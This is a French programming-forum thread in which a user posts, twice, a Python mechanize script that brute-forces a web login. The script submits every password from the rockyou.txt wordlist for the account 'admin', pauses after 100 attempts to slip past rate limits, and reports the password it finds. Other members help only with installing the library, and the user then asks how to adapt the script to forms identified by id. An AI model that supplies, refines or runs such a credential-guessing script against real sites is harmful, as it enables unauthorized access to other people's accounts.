IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Python Discussion :

module mechanize not found


Sujet :

Python

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre très actif
    Homme Profil pro
    Inscrit en
    Janvier 2013
    Messages
    433
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Janvier 2013
    Messages : 433
    Par défaut module mechanize not found
    salut ce code produit
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
     
     
    # -*- coding: utf-8 -*-
    """
    Created on Fri Feb  4 21:44:31 2022
     
    @author: User
    """
     
    import mechanize
    import time
    br = mechanize.Browser()
     
    br.set_handle_equiv(True)
    br.set_handle_gzip(True)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)
     
    i = 0
    with open("rockyou.txt") as infile:
        for passw in infile:
            passw = passw.rstrip()
            print("ATTEMPT", i, passw)
            r = br.open('URL')
            html = r.read()
            br.select_form("logonForm")
            br.form['username'] = "admin"
            br.form['password'] = passw
            br.submit()
            resp = br.response().read()
            #print ("ANSWER: %s", resp) # DEBUG
            if resp.find("Error") == -1:
                    print ("Found Password: %s", passw)
                    exit(0)
            i = i +1
            if i == 100 :
                time.sleep(300)
    exit(1)
    malgre que j'installe
    pip install mechanize

  2. #2
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 701
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 701
    Par défaut
    Salut,

    Citation Envoyé par s2a07 Voir le message
    malgre que j'installe
    pip install mechanize
    Probable que vous ayez plusieurs environnements Python installés et que vous lanciez le script qui a besoin de mechanize dans un autre environnement Python que celui où vous l'installez.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  3. #3
    Membre Expert
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2013
    Messages
    1 617
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Enseignant
    Secteur : Enseignement

    Informations forums :
    Inscription : Juin 2013
    Messages : 1 617
    Par défaut
    mechanize n'est-il pas pour Python2 ?

  4. #4
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 701
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 701
    Par défaut
    Citation Envoyé par marco056 Voir le message
    mechanize n'est-il pas pour Python2 ?
    Question dans la question à laquelle vous pouvez répondre vous même en cherchant un peu...

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  5. #5
    Membre très actif
    Homme Profil pro
    Inscrit en
    Janvier 2013
    Messages
    433
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Janvier 2013
    Messages : 433
    Par défaut
    je l'installe dans cmd et j'ai l'erreur

  6. #6
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 701
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 701
    Par défaut
    Citation Envoyé par s2a07 Voir le message
    je l'installe dans cmd et j'ai l'erreur
    Si vous avez plusieurs environnements Python et que vous ne savez pas trop faire la différence entre celui dans lequel vous installez et celui dans lequel vous essayez d'utiliser la bibliothèque, vous pouvez le faire 50 fois, çà ne changera rien.

    Pour vous en sortir, vous pouvez utilisez la commande "python -m pip install ...." où python est la commande qui permet de lancer le python de l'environnement cible.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  7. #7
    Membre très actif
    Homme Profil pro
    Inscrit en
    Janvier 2013
    Messages
    433
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Janvier 2013
    Messages : 433
    Par défaut
    Désolé mais quel est la procédure j’ai un module et un programme installé dans l’environnement virtuel
    J’ai procédé à glisser le module dans l’environnement virtuel le module est composé d’un installateur qui lorsque je le lance j’ai une fenêtre d’invité de commande qui s’ouvre pouvez vous s’il vous plaît m’aider

  8. #8
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 701
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 701
    Par défaut
    Citation Envoyé par s2a07 Voir le message
    mais quel est la procédure j’ai un module et un programme installé dans l’environnement virtuel
    La procédure à suivre dépend de la nature de votre environnement virtuel: il y en a plein, ils ont leur mode d'emploi... et chercher sur Internet "comment installer un package dans l'environnement virtuel XY" donnerait des pistes.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  9. #9
    Membre très actif
    Homme Profil pro
    Inscrit en
    Janvier 2013
    Messages
    433
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Janvier 2013
    Messages : 433
    Par défaut
    bonjour et merci ,
    le bug que j'ai maintenant c'est module 'mechanize' has no attribute 'Browser' le nom du fichier que je lance est sanstitre0.py et j'ai le package mechanize dans le même classpath

  10. #10
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 701
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 701
    Par défaut
    Citation Envoyé par s2a07 Voir le message
    le bug que j'ai maintenant c'est module 'mechanize' has no attribute 'Browser' le nom du fichier que je lance est sanstitre0.py et j'ai le package mechanize dans le même classpath
    Est ce qu'on a ce problème lorsqu'on installe "normalement" mechanize?
    Moi je ne l'ai pas:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    $ py -m pip install mechanize
    Collecting mechanize
      Downloading mechanize-0.4.7-py2.py3-none-any.whl (109 kB)
         |████████████████████████████████| 109 kB 656 kB/s
    Collecting html5lib>=0.999999999
      Downloading html5lib-1.1-py2.py3-none-any.whl (112 kB)
         |████████████████████████████████| 112 kB 819 kB/s
    Collecting webencodings
      Using cached webencodings-0.5.1-py2.py3-none-any.whl (11 kB)
    Requirement already satisfied: six>=1.9 in c:\py_env\py_39\lib\site-packages (from html5lib>=0.999999999->mechanize) (1.16.0)
    Installing collected packages: webencodings, html5lib, mechanize
    Successfully installed html5lib-1.1 mechanize-0.4.7 webencodings-0.5.1
    $ py
    Python 3.9.7 (tags/v3.9.7:1016ef3, Aug 30 2021, 20:19:38) [MSC v.1929 64 bit (AMD64)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from mechanize import Browser
    >>>
    Après si vous voulez l'installer sur un environnement particulier alors que vous ne savez même pas décrire avec quoi il a été construit...
    Si ça marche vous avez de la chance et si çà ne fonctionne pas, on ne sait même pas par où commencer pour vous aider vu le peu d'informations que vous fournissez (et qui s'appelle décrire le problème).

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  11. #11
    Membre très actif
    Homme Profil pro
    Inscrit en
    Janvier 2013
    Messages
    433
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Janvier 2013
    Messages : 433
    Par défaut
    Bonjour et merci j'ai résolu le problème comment se debrouiller pour simuler le programme si le formulaire n'as pas d'attribut name ? mais un attribut id
    ci joint le code
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
     
     
     
     
     
     
    #!/usr/bin/env python
    # encoding: utf-8
     
    import mechanize
    import time
    br = mechanize.Browser()
     
    br.set_handle_equiv(True)
    br.set_handle_gzip(True)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)
     
    i = 0
    with open("rockyou.txt") as infile:
        for passw in infile:
            passw = passw.rstrip()
            print("ATTEMPT", i, passw)
            r = br.open('URL')
            html = r.read()
            br.select_form("logonForm")
            br.form['username'] = "admin"
            br.form['password'] = passw
            br.submit()
            resp = br.response().read()
            #print ("ANSWER: %s", resp) # DEBUG
            if resp.find("Error") == -1:
                    print ("Found Password: %s", passw)
                    exit(0)
            i = i +1
            if i == 100 :
                time.sleep(300)
    exit(1)
    dans ce programme le formulaire en question a l'attribut name
    merci d'avance

Discussions similaires

  1. Réponses: 4
    Dernier message: 23/11/2010, 14h26
  2. Réponses: 3
    Dernier message: 16/05/2010, 21h20
  3. java.lang.NullPointerException: Module 'null' not found
    Par yacine.dev dans le forum Struts 1
    Réponses: 1
    Dernier message: 26/02/2010, 10h26
  4. [1.x] Ajout module : class not found
    Par ludwig59 dans le forum Symfony
    Réponses: 5
    Dernier message: 03/02/2010, 14h20
  5. Module 'null' not found
    Par gazier20 dans le forum Struts 1
    Réponses: 5
    Dernier message: 30/05/2007, 23h37

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo